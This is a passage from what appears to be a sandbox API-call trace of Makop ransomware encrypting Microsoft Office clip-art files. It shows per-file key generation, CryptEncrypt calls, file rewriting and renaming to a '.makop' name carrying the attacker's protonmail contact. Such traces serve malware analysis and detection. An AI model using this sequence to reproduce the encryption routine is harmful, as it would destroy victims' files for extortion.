cAlternateFileName="")) returned 1 [0121.792] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0121.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.794] GetProcessHeap () returned 0x48a0000 [0121.794] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.794] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.799] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.799] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.799] GetProcessHeap () returned 0x48a0000 [0121.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.799] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.801] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.801] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2fac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2fac, lpOverlapped=0x0) returned 1 [0121.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2fb0, dwBufLen=0x2fb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2fb0) returned 1 [0121.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2fb0, lpOverlapped=0x0) returned 1 [0121.843] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.844] SetEndOfFile (hFile=0xf0) returned 1 [0121.852] GetProcessHeap () returned 0x48a0000 [0121.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.852] GetProcessHeap () returned 0x48a0000 [0121.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.852] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.856] CloseHandle (hObject=0xf0) returned 1 [0121.856] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0121.856] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0121.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.859] GetProcessHeap () returned 0x48a0000 [0121.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.859] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.866] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.866] GetProcessHeap () returned 0x48a0000 [0121.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.866] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.866] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.866] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.866] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.867] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.868] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x36b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x36b8, lpOverlapped=0x0) returned 1 [0121.869] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36c0, dwBufLen=0x36c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36c0) returned 1 [0121.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x36c0, lpOverlapped=0x0) returned 1 [0121.870] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.870] SetEndOfFile (hFile=0xf0) returned 1 [0121.878] GetProcessHeap () returned 0x48a0000 [0121.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.878] GetProcessHeap () returned 0x48a0000 [0121.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.883] CloseHandle (hObject=0xf0) returned 1 [0121.883] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0121.883] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0121.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.885] GetProcessHeap () returned 0x48a0000 [0121.885] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.885] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.891] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.891] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.891] GetProcessHeap () returned 0x48a0000 [0121.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.891] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.891] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.891] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.891] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.892] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.892] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.892] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.892] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.893] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f0c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f0c, lpOverlapped=0x0) returned 1 [0121.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f10) returned 1 [0121.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f10, lpOverlapped=0x0) returned 1 [0121.895] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.895] SetEndOfFile (hFile=0xf0) returned 1 [0121.906] GetProcessHeap () returned 0x48a0000 [0121.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.906] GetProcessHeap () returned 0x48a0000 [0121.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.906] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.908] CloseHandle (hObject=0xf0) returned 1 [0121.908] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0121.908] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0121.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.909] GetProcessHeap () returned 0x48a0000 [0121.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.909] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.915] GetProcessHeap () returned 0x48a0000 [0121.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.917] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a88, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a88, lpOverlapped=0x0) returned 1 [0121.918] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a90, dwBufLen=0x1a90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a90) returned 1 [0121.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a90, lpOverlapped=0x0) returned 1 [0121.919] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.919] SetEndOfFile (hFile=0xf0) returned 1 [0121.926] GetProcessHeap () returned 0x48a0000 [0121.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.926] GetProcessHeap () returned 0x48a0000 [0121.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.926] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" 